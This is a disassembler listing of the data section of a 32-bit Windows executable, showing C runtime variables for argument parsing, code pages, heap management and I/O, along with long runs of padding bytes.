.data:00407C8C dword_407C8C    dd 0                    ; DATA XREF: start+3Ew
.data:00407C90 dword_407C90    dd 0                    ; DATA XREF: start+30w
.data:00407C94 dword_407C94    dd 0                    ; DATA XREF: __setargv+91w
.data:00407C98 dword_407C98    dd 0                    ; DATA XREF: __setargv+89w
.data:00407C9C                 align 10h
.data:00407CA0 dword_407CA0    dd 0                    ; DATA XREF: __setenvp+44w
.data:00407CA4                 align 10h
.data:00407CB0 dword_407CB0    dd 0                    ; DATA XREF: __setargv+2Ew
.data:00407CB4                 align 8
.data:00407CB8 byte_407CB8     db 0                    ; DATA XREF: _doexit+32w
.data:00407CB9                 align 4
.data:00407CBC dword_407CBC    dd 0                    ; DATA XREF: _doexit+2Cw
.data:00407CC0 dword_407CC0    dd 0                    ; DATA XREF: _doexit+9r
.data:00407CC0                                         ; _doexit+97w
.data:00407CC4 ; char Filename[]
.data:00407CC4 Filename        db 104h dup(0)          ; DATA XREF: __setargv:loc_402AC5o
.data:00407DC8 dword_407DC8    dd 0                    ; DATA XREF: ___crtGetEnvironmentStringsA+2r
.data:00407DC8                                         ; ___crtGetEnvironmentStringsA+23w ...
.data:00407DCC dword_407DCC    dd 0                    ; DATA XREF: __FF_MSGBANNER+21r
.data:00407DD0                 db    0
.data:00407DD1                 db    0
.data:00407DD2                 db    0
.data:00407DD3                 db    0
.data:00407DD4                 db    0
.data:00407DD5                 db    0
.data:00407DD6                 db    0
.data:00407DD7                 db    0
.data:00407DD8                 db    0
.data:00407DD9                 db    0
.data:00407DDA                 db    0
.data:00407DDB                 db    0
.data:00407DDC                 db    0
.data:00407DDD                 db    0
.data:00407DDE                 db    0
.data:00407DDF                 db    0
.data:00407DE0                 db    0
.data:00407DE1                 db    0
.data:00407DE2                 db    0
.data:00407DE3                 db    0
.data:00407DE4                 db    0
.data:00407DE5                 db    0
.data:00407DE6                 db    0
.data:00407DE7                 db    0
.data:00407DE8                 db    0
.data:00407DE9                 db    0
.data:00407DEA                 db    0
.data:00407DEB                 db    0
.data:00407DEC                 db    0
.data:00407DED                 db    0
.data:00407DEE                 db    0
.data:00407DEF                 db    0
.data:00407DF0                 db    0
.data:00407DF1                 db    0
.data:00407DF2                 db    0
.data:00407DF3                 db    0
.data:00407DF4                 db    0
.data:00407DF5                 db    0
.data:00407DF6                 db    0
.data:00407DF7                 db    0
.data:00407DF8                 db    0
.data:00407DF9                 db    0
.data:00407DFA                 db    0
.data:00407DFB                 db    0
.data:00407DFC                 db    0
.data:00407DFD                 db    0
.data:00407DFE                 db    0
.data:00407DFF                 db    0
.data:00407E00                 db    0
.data:00407E01                 db    0
.data:00407E02                 db    0
.data:00407E03                 db    0
.data:00407E04                 db    0
.data:00407E05                 db    0
.data:00407E06                 db    0
.data:00407E07                 db    0
.data:00407E08                 db    0
.data:00407E09                 db    0
.data:00407E0A                 db    0
.data:00407E0B                 db    0
.data:00407E0C                 db    0
.data:00407E0D                 db    0
.data:00407E0E                 db    0
.data:00407E0F                 db    0
.data:00407E10                 db    0
.data:00407E11                 db    0
.data:00407E12                 db    0
.data:00407E13                 db    0
.data:00407E14                 db    0
.data:00407E15                 db    0
.data:00407E16                 db    0
.data:00407E17                 db    0
.data:00407E18                 db    0
.data:00407E19                 db    0
.data:00407E1A                 db    0
.data:00407E1B                 db    0
.data:00407E1C                 db    0
.data:00407E1D                 db    0
.data:00407E1E                 db    0
.data:00407E1F                 db    0
.data:00407E20                 db    0
.data:00407E21                 db    0
.data:00407E22                 db    0
.data:00407E23                 db    0
.data:00407E24                 db    0
.data:00407E25                 db    0
.data:00407E26                 db    0
.data:00407E27                 db    0
.data:00407E28                 db    0
.data:00407E29                 db    0
.data:00407E2A                 db    0
.data:00407E2B                 db    0
.data:00407E2C                 db    0
.data:00407E2D                 db    0
.data:00407E2E                 db    0
.data:00407E2F                 db    0
.data:00407E30                 db    0
.data:00407E31                 db    0
.data:00407E32                 db    0
.data:00407E33                 db    0
.data:00407E34 dword_407E34    dd 0                    ; DATA XREF: ___crtGetStringTypeA+26r
.data:00407E34                                         ; ___crtGetStringTypeA:loc_403C99w
.data:00407E38 dword_407E38    dd 0                    ; DATA XREF: _mallocr
.data:00407E38                                         ; _calloc:loc_404A73r
.data:00407E3C dword_407E3C    dd 0                    ; DATA XREF: __callnewhr
.data:00407E40 dword_407E40    dd 0                    ; DATA XREF: __setmbcp:loc_4047A1r
.data:00407E40                                         ; _getSystemCP+4w ...
.data:00407E44 dword_407E44    dd 0                    ; DATA XREF: ___crtMessageBoxA+3r
.data:00407E44                                         ; ___crtMessageBoxA+2Ew ...
.data:00407E48 dword_407E48    dd 0                    ; DATA XREF: ___crtMessageBoxA+43w
.data:00407E48                                         ; ___crtMessageBoxA:loc_404AEEr
.data:00407E4C dword_407E4C    dd 0                    ; DATA XREF: ___crtMessageBoxA+4Aw
.data:00407E4C                                         ; ___crtMessageBoxA+60r
.data:00407E50                 db    0
.data:00407E51                 db    0
.data:00407E52                 db    0
.data:00407E53                 db    0
.data:00407E54                 db    0
.data:00407E55                 db    0
.data:00407E56                 db    0
.data:00407E57                 db    0
.data:00407E58                 db    0
.data:00407E59                 db    0
.data:00407E5A                 db    0
.data:00407E5B                 db    0
.data:00407E5C                 db    0
.data:00407E5D                 db    0
.data:00407E5E                 db    0
.data:00407E5F                 db    0
.data:00407E60                 db    0
.data:00407E61                 db    0
.data:00407E62                 db    0
.data:00407E63                 db    0
.data:00407E64                 db    0
.data:00407E65                 db    0
.data:00407E66                 db    0
.data:00407E67                 db    0
.data:00407E68                 db    0
.data:00407E69                 db    0
.data:00407E6A                 db    0
.data:00407E6B                 db    0
.data:00407E6C                 db    0
.data:00407E6D                 db    0
.data:00407E6E                 db    0
.data:00407E6F                 db    0
.data:00407E70                 db    0
.data:00407E71                 db    0
.data:00407E72                 db    0
.data:00407E73                 db    0
.data:00407E74                 db    0
.data:00407E75                 db    0
.data:00407E76                 db    0
.data:00407E77                 db    0
.data:00407E78                 db    0
.data:00407E79                 db    0
.data:00407E7A                 db    0
.data:00407E7B                 db    0
.data:00407E7C                 db    0
.data:00407E7D                 db    0
.data:00407E7E                 db    0
.data:00407E7F                 db    0
.data:00407E80                 db    0
.data:00407E81                 db    0
.data:00407E82                 db    0
.data:00407E83                 db    0
.data:00407E84                 db    0
.data:00407E85                 db    0
.data:00407E86                 db    0
.data:00407E87                 db    0
.data:00407E88                 db    0
.data:00407E89                 db    0
.data:00407E8A                 db    0
.data:00407E8B                 db    0
.data:00407E8C                 db    0
.data:00407E8D                 db    0
.data:00407E8E                 db    0
.data:00407E8F                 db    0
.data:00407E90                 db    0
.data:00407E91                 db    0
.data:00407E92                 db    0
.data:00407E93                 db    0
.data:00407E94                 db    0
.data:00407E95                 db    0
.data:00407E96                 db    0
.data:00407E97                 db    0
.data:00407E98                 db    0
.data:00407E99                 db    0
.data:00407E9A                 db    0
.data:00407E9B                 db    0
.data:00407E9C                 db    0
.data:00407E9D                 db    0
.data:00407E9E                 db    0
.data:00407E9F                 db    0
.data:00407EA0                 db    0
.data:00407EA1                 db    0
.data:00407EA2                 db    0
.data:00407EA3                 db    0
.data:00407EA4                 db    0
.data:00407EA5                 db    0
.data:00407EA6                 db    0
.data:00407EA7                 db    0
.data:00407EA8                 db    0
.data:00407EA9                 db    0
.data:00407EAA                 db    0
.data:00407EAB                 db    0
.data:00407EAC                 db    0
.data:00407EAD                 db    0
.data:00407EAE                 db    0
.data:00407EAF                 db    0
.data:00407EB0                 db    0
.data:00407EB1                 db    0
.data:00407EB2                 db    0
.data:00407EB3                 db    0
.data:00407EB4                 db    0
.data:00407EB5                 db    0
.data:00407EB6                 db    0
.data:00407EB7                 db    0
.data:00407EB8                 db    0
.data:00407EB9                 db    0
.data:00407EBA                 db    0
.data:00407EBB                 db    0
.data:00407EBC                 db    0
.data:00407EBD                 db    0
.data:00407EBE                 db    0
.data:00407EBF                 db    0
.data:00407EC0                 db    0
.data:00407EC1                 db    0
.data:00407EC2                 db    0
.data:00407EC3                 db    0
.data:00407EC4                 db    0
.data:00407EC5                 db    0
.data:00407EC6                 db    0
.data:00407EC7                 db    0
.data:00407EC8                 db    0
.data:00407EC9                 db    0
.data:00407ECA                 db    0
.data:00407ECB                 db    0
.data:00407ECC                 db    0
.data:00407ECD                 db    0
.data:00407ECE                 db    0
.data:00407ECF                 db    0
.data:00407ED0                 db    0
.data:00407ED1                 db    0
.data:00407ED2                 db    0
.data:00407ED3                 db    0
.data:00407ED4                 db    0
.data:00407ED5                 db    0
.data:00407ED6                 db    0
.data:00407ED7                 db    0
.data:00407ED8                 db    0
.data:00407ED9                 db    0
.data:00407EDA                 db    0
.data:00407EDB                 db    0
.data:00407EDC                 db    0
.data:00407EDD                 db    0
.data:00407EDE                 db    0
.data:00407EDF                 db    0
.data:00407EE0                 db    0
.data:00407EE1                 db    0
.data:00407EE2                 db    0
.data:00407EE3                 db    0
.data:00407EE4                 db    0
.data:00407EE5                 db    0
.data:00407EE6                 db    0
.data:00407EE7                 db    0
.data:00407EE8                 db    0
.data:00407EE9                 db    0
.data:00407EEA                 db    0
.data:00407EEB                 db    0
.data:00407EEC                 db    0
.data:00407EED                 db    0
.data:00407EEE                 db    0
.data:00407EEF                 db    0
.data:00407EF0                 db    0
.data:00407EF1                 db    0
.data:00407EF2                 db    0
.data:00407EF3                 db    0
.data:00407EF4                 db    0
.data:00407EF5                 db    0
.data:00407EF6                 db    0
.data:00407EF7                 db    0
.data:00407EF8                 db    0
.data:00407EF9                 db    0
.data:00407EFA                 db    0
.data:00407EFB                 db    0
.data:00407EFC                 db    0
.data:00407EFD                 db    0
.data:00407EFE                 db    0
.data:00407EFF                 db    0
.data:00407F00                 db    0
.data:00407F01                 db    0
.data:00407F02                 db    0
.data:00407F03                 db    0
.data:00407F04                 db    0
.data:00407F05                 db    0
.data:00407F06                 db    0
.data:00407F07                 db    0
.data:00407F08                 db    0
.data:00407F09                 db    0
.data:00407F0A                 db    0
.data:00407F0B                 db    0
.data:00407F0C                 db    0
.data:00407F0D                 db    0
.data:00407F0E                 db    0
.data:00407F0F                 db    0
.data:00407F10                 db    0
.data:00407F11                 db    0
.data:00407F12                 db    0
.data:00407F13                 db    0
.data:00407F14                 db    0
.data:00407F15                 db    0
.data:00407F16                 db    0
.data:00407F17                 db    0
.data:00407F18                 db    0
.data:00407F19                 db    0
.data:00407F1A                 db    0
.data:00407F1B                 db    0
.data:00407F1C                 db    0
.data:00407F1D                 db    0
.data:00407F1E                 db    0
.data:00407F1F                 db    0
.data:00407F20                 db    0
.data:00407F21                 db    0
.data:00407F22                 db    0
.data:00407F23                 db    0
.data:00407F24                 db    0
.data:00407F25                 db    0
.data:00407F26                 db    0
.data:00407F27                 db    0
.data:00407F28 ; UINT CodePage
.data:00407F28 CodePage        dd 0                    ; DATA XREF: __setmbcp+1Br
.data:00407F28                                         ; __setmbcp+79w ...
.data:00407F2C                 align 10h
.data:00407F30 unk_407F30      db    0                 ; DATA XREF: __setmbcp+12Fo
.data:00407F30                                         ; __setmbcp+179o ...
.data:00407F31                 db    0
.data:00407F32                 db    0
.data:00407F33                 db    0
.data:00407F34                 db    0
.data:00407F35                 db    0
.data:00407F36                 db    0
.data:00407F37                 db    0
.data:00407F38                 db    0
.data:00407F39                 db    0
.data:00407F3A                 db    0
.data:00407F3B                 db    0
.data:00407F3C dword_407F3C    dd 0                    ; DATA XREF: __setmbcp+114w
.data:00407F3C                                         ; __setmbcp+168w ...
.data:00407F40 byte_407F40     db 0                    ; DATA XREF: _setSBUpLow:loc_40497Dw
.data:00407F40                                         ; _setSBUpLow:loc_40499Aw ...
.data:00407F41                 db    0
.data:00407F42                 db    0
.data:00407F43                 db    0
.data:00407F44                 db    0
.data:00407F45                 db    0
.data:00407F46                 db    0
.data:00407F47                 db    0
.data:00407F48                 db    0
.data:00407F49                 db    0
.data:00407F4A                 db    0
.data:00407F4B                 db    0
.data:00407F4C                 db    0
.data:00407F4D                 db    0
.data:00407F4E                 db    0
.data:00407F4F                 db    0
.data:00407F50                 db    0
.data:00407F51                 db    0
.data:00407F52                 db    0
.data:00407F53                 db    0
.data:00407F54                 db    0
.data:00407F55                 db    0
.data:00407F56                 db    0
.data:00407F57                 db    0
.data:00407F58                 db    0
.data:00407F59                 db    0
.data:00407F5A                 db    0
.data:00407F5B                 db    0
.data:00407F5C                 db    0
.data:00407F5D                 db    0
.data:00407F5E                 db    0
.data:00407F5F                 db    0
.data:00407F60                 db    0
.data:00407F61                 db    0
.data:00407F62                 db    0
.data:00407F63                 db    0
.data:00407F64                 db    0
.data:00407F65                 db    0
.data:00407F66                 db    0
.data:00407F67                 db    0
.data:00407F68                 db    0
.data:00407F69                 db    0
.data:00407F6A                 db    0
.data:00407F6B                 db    0
.data:00407F6C                 db    0
.data:00407F6D                 db    0
.data:00407F6E                 db    0
.data:00407F6F                 db    0
.data:00407F70                 db    0
.data:00407F71                 db    0
.data:00407F72                 db    0
.data:00407F73                 db    0
.data:00407F74                 db    0
.data:00407F75                 db    0
.data:00407F76                 db    0
.data:00407F77                 db    0
.data:00407F78                 db    0
.data:00407F79                 db    0
.data:00407F7A                 db    0
.data:00407F7B                 db    0
.data:00407F7C                 db    0
.data:00407F7D                 db    0
.data:00407F7E                 db    0
.data:00407F7F                 db    0
.data:00407F80                 db    0
.data:00407F81                 db    0
.data:00407F82                 db    0
.data:00407F83                 db    0
.data:00407F84                 db    0
.data:00407F85                 db    0
.data:00407F86                 db    0
.data:00407F87                 db    0
.data:00407F88                 db    0
.data:00407F89                 db    0
.data:00407F8A                 db    0
.data:00407F8B                 db    0
.data:00407F8C                 db    0
.data:00407F8D                 db    0
.data:00407F8E                 db    0
.data:00407F8F                 db    0
.data:00407F90                 db    0
.data:00407F91                 db    0
.data:00407F92                 db    0
.data:00407F93                 db    0
.data:00407F94                 db    0
.data:00407F95                 db    0
.data:00407F96                 db    0
.data:00407F97                 db    0
.data:00407F98                 db    0
.data:00407F99                 db    0
.data:00407F9A                 db    0
.data:00407F9B                 db    0
.data:00407F9C                 db    0
.data:00407F9D                 db    0
.data:00407F9E                 db    0
.data:00407F9F                 db    0
.data:00407FA0                 db    0
.data:00407FA1                 db    0
.data:00407FA2                 db    0
.data:00407FA3                 db    0
.data:00407FA4                 db    0
.data:00407FA5                 db    0
.data:00407FA6                 db    0
.data:00407FA7                 db    0
.data:00407FA8                 db    0
.data:00407FA9                 db    0
.data:00407FAA                 db    0
.data:00407FAB                 db    0
.data:00407FAC                 db    0
.data:00407FAD                 db    0
.data:00407FAE                 db    0
.data:00407FAF                 db    0
.data:00407FB0                 db    0
.data:00407FB1                 db    0
.data:00407FB2                 db    0
.data:00407FB3                 db    0
.data:00407FB4                 db    0
.data:00407FB5                 db    0
.data:00407FB6                 db    0
.data:00407FB7                 db    0
.data:00407FB8                 db    0
.data:00407FB9                 db    0
.data:00407FBA                 db    0
.data:00407FBB                 db    0
.data:00407FBC                 db    0
.data:00407FBD                 db    0
.data:00407FBE                 db    0
.data:00407FBF                 db    0
.data:00407FC0                 db    0
.data:00407FC1                 db    0
.data:00407FC2                 db    0
.data:00407FC3                 db    0
.data:00407FC4                 db    0
.data:00407FC5                 db    0
.data:00407FC6                 db    0
.data:00407FC7                 db    0
.data:00407FC8                 db    0
.data:00407FC9                 db    0
.data:00407FCA                 db    0
.data:00407FCB                 db    0
.data:00407FCC                 db    0
.data:00407FCD                 db    0
.data:00407FCE                 db    0
.data:00407FCF                 db    0
.data:00407FD0                 db    0
.data:00407FD1                 db    0
.data:00407FD2                 db    0
.data:00407FD3                 db    0
.data:00407FD4                 db    0
.data:00407FD5                 db    0
.data:00407FD6                 db    0
.data:00407FD7                 db    0
.data:00407FD8                 db    0
.data:00407FD9                 db    0
.data:00407FDA                 db    0
.data:00407FDB                 db    0
.data:00407FDC                 db    0
.data:00407FDD                 db    0
.data:00407FDE                 db    0
.data:00407FDF                 db    0
.data:00407FE0                 db    0
.data:00407FE1                 db    0
.data:00407FE2                 db    0
.data:00407FE3                 db    0
.data:00407FE4                 db    0
.data:00407FE5                 db    0
.data:00407FE6                 db    0
.data:00407FE7                 db    0
.data:00407FE8                 db    0
.data:00407FE9                 db    0
.data:00407FEA                 db    0
.data:00407FEB                 db    0
.data:00407FEC                 db    0
.data:00407FED                 db    0
.data:00407FEE                 db    0
.data:00407FEF                 db    0
.data:00407FF0                 db    0
.data:00407FF1                 db    0
.data:00407FF2                 db    0
.data:00407FF3                 db    0
.data:00407FF4                 db    0
.data:00407FF5                 db    0
.data:00407FF6                 db    0
.data:00407FF7                 db    0
.data:00407FF8                 db    0
.data:00407FF9                 db    0
.data:00407FFA                 db    0
.data:00407FFB                 db    0
.data:00407FFC                 db    0
.data:00407FFD                 db    0
.data:00407FFE                 db    0
.data:00407FFF                 db    0
.data:00408000                 db    ? ;
.data:00408001                 db    ? ;
.data:00408002                 db    ? ;
.data:00408003                 db    ? ;
.data:00408004                 db    ? ;
.data:00408005                 db    ? ;
.data:00408006                 db    ? ;
.data:00408007                 db    ? ;
.data:00408008                 db    ? ;
.data:00408009                 db    ? ;
.data:0040800A                 db    ? ;
.data:0040800B                 db    ? ;
.data:0040800C                 db    ? ;
.data:0040800D                 db    ? ;
.data:0040800E                 db    ? ;
.data:0040800F                 db    ? ;
.data:00408010                 db    ? ;
.data:00408011                 db    ? ;
.data:00408012                 db    ? ;
.data:00408013                 db    ? ;
.data:00408014                 db    ? ;
.data:00408015                 db    ? ;
.data:00408016                 db    ? ;
.data:00408017                 db    ? ;
.data:00408018                 db    ? ;
.data:00408019                 db    ? ;
.data:0040801A                 db    ? ;
.data:0040801B                 db    ? ;
.data:0040801C                 db    ? ;
.data:0040801D                 db    ? ;
.data:0040801E                 db    ? ;
.data:0040801F                 db    ? ;
.data:00408020                 db    ? ;
.data:00408021                 db    ? ;
.data:00408022                 db    ? ;
.data:00408023                 db    ? ;
.data:00408024                 db    ? ;
.data:00408025                 db    ? ;
.data:00408026                 db    ? ;
.data:00408027                 db    ? ;
.data:00408028                 db    ? ;
.data:00408029                 db    ? ;
.data:0040802A                 db    ? ;
.data:0040802B                 db    ? ;
.data:0040802C                 db    ? ;
.data:0040802D                 db    ? ;
.data:0040802E                 db    ? ;
.data:0040802F                 db    ? ;
.data:00408030                 db    ? ;
.data:00408031                 db    ? ;
.data:00408032                 db    ? ;
.data:00408033                 db    ? ;
.data:00408034                 db    ? ;
.data:00408035                 db    ? ;
.data:00408036                 db    ? ;
.data:00408037                 db    ? ;
.data:00408038                 db    ? ;
.data:00408039                 db    ? ;
.data:0040803A                 db    ? ;
.data:0040803B                 db    ? ;
.data:0040803C                 db    ? ;
.data:0040803D                 db    ? ;
.data:0040803E                 db    ? ;
.data:0040803F                 db    ? ;
.data:00408040 unk_408040      db    ? ;               ; DATA XREF: __setmbcp+6Eo
.data:00408040                                         ; __setmbcp+BEo ...
.data:00408041 byte_408041     db ?                    ; DATA XREF: _parse_cmdline+3Fr
.data:00408041                                         ; _parse_cmdline+84r ...
.data:00408042                 db    ? ;
.data:00408043                 db    ? ;
.data:00408044                 db    ? ;
.data:00408045                 db    ? ;
.data:00408046                 db    ? ;
.data:00408047                 db    ? ;
.data:00408048                 db    ? ;
.data:00408049                 db    ? ;
.data:0040804A                 db    ? ;
.data:0040804B                 db    ? ;
.data:0040804C                 db    ? ;
.data:0040804D                 db    ? ;
.data:0040804E                 db    ? ;
.data:0040804F                 db    ? ;
.data:00408050                 db    ? ;
.data:00408051                 db    ? ;
.data:00408052                 db    ? ;
.data:00408053                 db    ? ;
.data:00408054                 db    ? ;
.data:00408055                 db    ? ;
.data:00408056                 db    ? ;
.data:00408057                 db    ? ;
.data:00408058                 db    ? ;
.data:00408059                 db    ? ;
.data:0040805A                 db    ? ;
.data:0040805B                 db    ? ;
.data:0040805C                 db    ? ;
.data:0040805D                 db    ? ;
.data:0040805E                 db    ? ;
.data:0040805F                 db    ? ;
.data:00408060                 db    ? ;
.data:00408061                 db    ? ;
.data:00408062                 db    ? ;
.data:00408063                 db    ? ;
.data:00408064                 db    ? ;
.data:00408065                 db    ? ;
.data:00408066                 db    ? ;
.data:00408067                 db    ? ;
.data:00408068                 db    ? ;
.data:00408069                 db    ? ;
.data:0040806A                 db    ? ;
.data:0040806B                 db    ? ;
.data:0040806C                 db    ? ;
.data:0040806D                 db    ? ;
.data:0040806E                 db    ? ;
.data:0040806F                 db    ? ;
.data:00408070                 db    ? ;
.data:00408071                 db    ? ;
.data:00408072                 db    ? ;
.data:00408073                 db    ? ;
.data:00408074                 db    ? ;
.data:00408075                 db    ? ;
.data:00408076                 db    ? ;
.data:00408077                 db    ? ;
.data:00408078                 db    ? ;
.data:00408079                 db    ? ;
.data:0040807A                 db    ? ;
.data:0040807B                 db    ? ;
.data:0040807C                 db    ? ;
.data:0040807D                 db    ? ;
.data:0040807E                 db    ? ;
.data:0040807F                 db    ? ;
.data:00408080                 db    ? ;
.data:00408081                 db    ? ;
.data:00408082                 db    ? ;
.data:00408083                 db    ? ;
.data:00408084                 db    ? ;
.data:00408085                 db    ? ;
.data:00408086                 db    ? ;
.data:00408087                 db    ? ;
.data:00408088                 db    ? ;
.data:00408089                 db    ? ;
.data:0040808A                 db    ? ;
.data:0040808B                 db    ? ;
.data:0040808C                 db    ? ;
.data:0040808D                 db    ? ;
.data:0040808E                 db    ? ;
.data:0040808F                 db    ? ;
.data:00408090                 db    ? ;
.data:00408091                 db    ? ;
.data:00408092                 db    ? ;
.data:00408093                 db    ? ;
.data:00408094                 db    ? ;
.data:00408095                 db    ? ;
.data:00408096                 db    ? ;
.data:00408097                 db    ? ;
.data:00408098                 db    ? ;
.data:00408099                 db    ? ;
.data:0040809A                 db    ? ;
.data:0040809B                 db    ? ;
.data:0040809C                 db    ? ;
.data:0040809D                 db    ? ;
.data:0040809E                 db    ? ;
.data:0040809F                 db    ? ;
.data:004080A0                 db    ? ;
.data:004080A1                 db    ? ;
.data:004080A2                 db    ? ;
.data:004080A3                 db    ? ;
.data:004080A4                 db    ? ;
.data:004080A5                 db    ? ;
.data:004080A6                 db    ? ;
.data:004080A7                 db    ? ;
.data:004080A8                 db    ? ;
.data:004080A9                 db    ? ;
.data:004080AA                 db    ? ;
.data:004080AB                 db    ? ;
.data:004080AC                 db    ? ;
.data:004080AD                 db    ? ;
.data:004080AE                 db    ? ;
.data:004080AF                 db    ? ;
.data:004080B0                 db    ? ;
.data:004080B1                 db    ? ;
.data:004080B2                 db    ? ;
.data:004080B3                 db    ? ;
.data:004080B4                 db    ? ;
.data:004080B5                 db    ? ;
.data:004080B6                 db    ? ;
.data:004080B7                 db    ? ;
.data:004080B8                 db    ? ;
.data:004080B9                 db    ? ;
.data:004080BA                 db    ? ;
.data:004080BB                 db    ? ;
.data:004080BC                 db    ? ;
.data:004080BD                 db    ? ;
.data:004080BE                 db    ? ;
.data:004080BF                 db    ? ;
.data:004080C0                 db    ? ;
.data:004080C1                 db    ? ;
.data:004080C2                 db    ? ;
.data:004080C3                 db    ? ;
.data:004080C4                 db    ? ;
.data:004080C5                 db    ? ;
.data:004080C6                 db    ? ;
.data:004080C7                 db    ? ;
.data:004080C8                 db    ? ;
.data:004080C9                 db    ? ;
.data:004080CA                 db    ? ;
.data:004080CB                 db    ? ;
.data:004080CC                 db    ? ;
.data:004080CD                 db    ? ;
.data:004080CE                 db    ? ;
.data:004080CF                 db    ? ;
.data:004080D0                 db    ? ;
.data:004080D1                 db    ? ;
.data:004080D2                 db    ? ;
.data:004080D3                 db    ? ;
.data:004080D4                 db    ? ;
.data:004080D5                 db    ? ;
.data:004080D6                 db    ? ;
.data:004080D7                 db    ? ;
.data:004080D8                 db    ? ;
.data:004080D9                 db    ? ;
.data:004080DA                 db    ? ;
.data:004080DB                 db    ? ;
.data:004080DC                 db    ? ;
.data:004080DD                 db    ? ;
.data:004080DE                 db    ? ;
.data:004080DF                 db    ? ;
.data:004080E0                 db    ? ;
.data:004080E1                 db    ? ;
.data:004080E2                 db    ? ;
.data:004080E3                 db    ? ;
.data:004080E4                 db    ? ;
.data:004080E5                 db    ? ;
.data:004080E6                 db    ? ;
.data:004080E7                 db    ? ;
.data:004080E8                 db    ? ;
.data:004080E9                 db    ? ;
.data:004080EA                 db    ? ;
.data:004080EB                 db    ? ;
.data:004080EC                 db    ? ;
.data:004080ED                 db    ? ;
.data:004080EE                 db    ? ;
.data:004080EF                 db    ? ;
.data:004080F0                 db    ? ;
.data:004080F1                 db    ? ;
.data:004080F2                 db    ? ;
.data:004080F3                 db    ? ;
.data:004080F4                 db    ? ;
.data:004080F5                 db    ? ;
.data:004080F6                 db    ? ;
.data:004080F7                 db    ? ;
.data:004080F8                 db    ? ;
.data:004080F9                 db    ? ;
.data:004080FA                 db    ? ;
.data:004080FB                 db    ? ;
.data:004080FC                 db    ? ;
.data:004080FD                 db    ? ;
.data:004080FE                 db    ? ;
.data:004080FF                 db    ? ;
.data:00408100                 db    ? ;
.data:00408101                 db    ? ;
.data:00408102                 db    ? ;
.data:00408103                 db    ? ;
.data:00408104                 db    ? ;
.data:00408105                 db    ? ;
.data:00408106                 db    ? ;
.data:00408107                 db    ? ;
.data:00408108                 db    ? ;
.data:00408109                 db    ? ;
.data:0040810A                 db    ? ;
.data:0040810B                 db    ? ;
.data:0040810C                 db    ? ;
.data:0040810D                 db    ? ;
.data:0040810E                 db    ? ;
.data:0040810F                 db    ? ;
.data:00408110                 db    ? ;
.data:00408111                 db    ? ;
.data:00408112                 db    ? ;
.data:00408113                 db    ? ;
.data:00408114                 db    ? ;
.data:00408115                 db    ? ;
.data:00408116                 db    ? ;
.data:00408117                 db    ? ;
.data:00408118                 db    ? ;
.data:00408119                 db    ? ;
.data:0040811A                 db    ? ;
.data:0040811B                 db    ? ;
.data:0040811C                 db    ? ;
.data:0040811D                 db    ? ;
.data:0040811E                 db    ? ;
.data:0040811F                 db    ? ;
.data:00408120                 db    ? ;
.data:00408121                 db    ? ;
.data:00408122                 db    ? ;
.data:00408123                 db    ? ;
.data:00408124                 db    ? ;
.data:00408125                 db    ? ;
.data:00408126                 db    ? ;
.data:00408127                 db    ? ;
.data:00408128                 db    ? ;
.data:00408129                 db    ? ;
.data:0040812A                 db    ? ;
.data:0040812B                 db    ? ;
.data:0040812C                 db    ? ;
.data:0040812D                 db    ? ;
.data:0040812E                 db    ? ;
.data:0040812F                 db    ? ;
.data:00408130                 db    ? ;
.data:00408131                 db    ? ;
.data:00408132                 db    ? ;
.data:00408133                 db    ? ;
.data:00408134                 db    ? ;
.data:00408135                 db    ? ;
.data:00408136                 db    ? ;
.data:00408137                 db    ? ;
.data:00408138                 db    ? ;
.data:00408139                 db    ? ;
.data:0040813A                 db    ? ;
.data:0040813B                 db    ? ;
.data:0040813C                 db    ? ;
.data:0040813D                 db    ? ;
.data:0040813E                 db    ? ;
.data:0040813F                 db    ? ;
.data:00408140                 db    ? ;
.data:00408141                 db    ? ;
.data:00408142                 db    ? ;
.data:00408143                 db    ? ;
.data:00408144 ; LCID dword_408144
.data:00408144 dword_408144    dd ?                    ; DATA XREF: __setmbcp+64w
.data:00408144                                         ; __setmbcp+137w ...
.data:00408148 dword_408148    dd ?                    ; DATA XREF: ___sbh_heap_init+32w
.data:00408148                                         ; ___sbh_alloc_new_region+5r ...
.data:0040814C dword_40814C    dd ?                    ; DATA XREF: ___sbh_free_block+239r
.data:0040814C                                         ; ___sbh_free_block+259r ...
.data:00408150 dword_408150    dd ?                    ; DATA XREF: ___sbh_heap_init+2Dw
.data:00408150                                         ; ___sbh_free_block+310w ...
.data:00408154 dword_408154    dd ?                    ; DATA XREF: ___sbh_heap_init:loc_403DB0w
.data:00408154                                         ; ___sbh_free_block+22Cr ...
.data:00408158 dword_408158    dd ?                    ; DATA XREF: ___sbh_heap_init+24w
.data:00408158                                         ; ___sbh_find_blockr ...
.data:0040815C ; LPVOID lpMem
.data:0040815C lpMem           dd ?                    ; DATA XREF: ___sbh_heap_init+15w
.data:0040815C                                         ; ___sbh_find_block+8r ...
.data:00408160 ; HANDLE hHeap
.data:00408160 hHeap           dd ?                    ; DATA XREF: __heap_alloc+3Fr
.data:00408160                                         ; __heap_init+19w ...
.data:00408164                 db    ? ;
.data:00408165                 db    ? ;
.data:00408166                 db    ? ;
.data:00408167                 db    ? ;
.data:00408168                 db    ? ;
.data:00408169                 db    ? ;
.data:0040816A                 db    ? ;
.data:0040816B                 db    ? ;
.data:0040816C                 db    ? ;
.data:0040816D                 db    ? ;
.data:0040816E                 db    ? ;
.data:0040816F                 db    ? ;
.data:00408170                 db    ? ;
.data:00408171                 db    ? ;
.data:00408172                 db    ? ;
.data:00408173                 db    ? ;
.data:00408174                 db    ? ;
.data:00408175                 db    ? ;
.data:00408176                 db    ? ;
.data:00408177                 db    ? ;
.data:00408178                 db    ? ;
.data:00408179                 db    ? ;
.data:0040817A                 db    ? ;
.data:0040817B                 db    ? ;
.data:0040817C                 db    ? ;
.data:0040817D                 db    ? ;
.data:0040817E                 db    ? ;
.data:0040817F                 db    ? ;
.data:00408180 dword_408180    dd ?                    ; DATA XREF: __ioinit:loc_402E4Fw
.data:00408180                                         ; __ioinit+4Br ...
.data:00408184 unk_408184      db    ? ;               ; DATA XREF: __ioinit+98o
.data:00408185                 db    ? ;
.data:00408186                 db    ? ;
.data:00408187                 db    ? ;
.data:00408188                 db    ? ;
.data:00408189                 db    ? ;
.data:0040818A                 db    ? ;
.data:0040818B                 db    ? ;
.data:0040818C                 db    ? ;
.data:0040818D                 db    ? ;
.data:0040818E                 db    ? ;
.data:0040818F                 db    ? ;
.data:00408190                 db    ? ;
.data:00408191                 db    ? ;
.data:00408192                 db    ? ;
.data:00408193                 db    ? ;
